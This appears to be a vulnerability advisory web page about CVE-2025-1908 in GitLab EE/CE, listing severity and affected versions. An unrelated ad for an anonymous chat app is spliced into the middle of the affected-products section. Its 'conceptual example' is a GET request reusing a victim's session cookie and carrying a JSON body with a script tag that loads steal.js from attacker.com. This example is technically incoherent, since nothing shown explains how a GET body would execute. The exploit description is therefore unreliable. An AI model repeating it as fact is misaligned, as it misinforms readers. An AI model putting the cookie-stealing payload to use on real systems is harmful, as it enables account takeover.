Overview
The cybersecurity world has recently been rattled by the discovery of a new vulnerability, CVE-2025-1908, affecting GitLab EE/CE. This vulnerability has the potential to allow an attacker to monitor user browsing activity, and in extreme cases, take over their accounts. Given the extensive use of GitLab EE/CE across a broad range of industries, this vulnerability poses a substantial threat to data security and user privacy.
Vulnerability Summary
CVE ID: CVE-2025-1908
Severity: High (CVSS score 7.7)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
GitLab EE | 16.6 – 17.9.6, 17.10 – 17.10.4, 17.11 – 17.11.0
GitLab CE | 16.6 – 17.9.6, 17.10 – 17.10.4, 17.11 – 17.11.0
How the Exploit Works
The vulnerability exploits a flaw in the GitLab EE/CE codebase, which allows for session hijacking and user tracking. Once the attacker has this capability, they can monitor browsing activities to gather sensitive information, setting up for potential account take-over. This exploit relies on a network-based attack vector and requires user interaction to be successful.
Conceptual Example Code
Here is a conceptual example of how vulnerability might be exploited:
GET /victim/profile HTTP/1.1
Host: gitlab-vulnerable.example.com
Cookie: session_id=victim_session_id
{ "malicious_script": "<script src='http://attacker.com/steal.js'></script>" }In this example, the attacker sends a specially crafted HTTP GET request to the GitLab server using the victim’s session ID. The malicious script embedded in the request is then executed, allowing the attacker to monitor the victim’s browsing activity or even take over their account.
